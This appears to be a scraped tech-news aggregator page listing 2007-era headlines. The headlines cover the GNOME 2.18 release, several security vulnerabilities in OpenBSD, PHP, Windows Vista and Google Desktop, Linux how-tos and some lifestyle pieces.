Remote Exploit Discovered for OpenBSD

Gnome 2.18 Released

GNOME 2.18

GNOME 2.18 Release Notes

Getting GNOME 2.18

LiveCD and Disk Images for Virtual Machines

GNOME in Distributions

Building From Source

Other Announcements

GNOME 2.18 (Simply Beautiful)

In More Detail

Fun

Share Your Desktop

Universal Access

About GNOME

Windows Vista Brute-Force Attack Alive and Kicking

MIT provides blueprint for future use of coal

Cell Broadband Engine

MOPB reports old hole in new version of PHP

Eric Raymond: Yes, "open source" is still meaningful

How Do We Detect Temperature?

Speed Up Network Browsing

Deploying Microsoft Office SharePoint Server 2007

A Second Google Desktop Vulnerability

A New Screening Device That Gets You Naked

Building A Linux Router

Why Do Geeks Take the Chicks?

Top 10 Google Products

The iPod User's Best (Vibrator) Friend

13 Things to do immediately after installing Ubuntu

6 Reasons Why Sex is Very Healthy for You

Guide to the Google Summer of Code^TM Web App for Student Applicants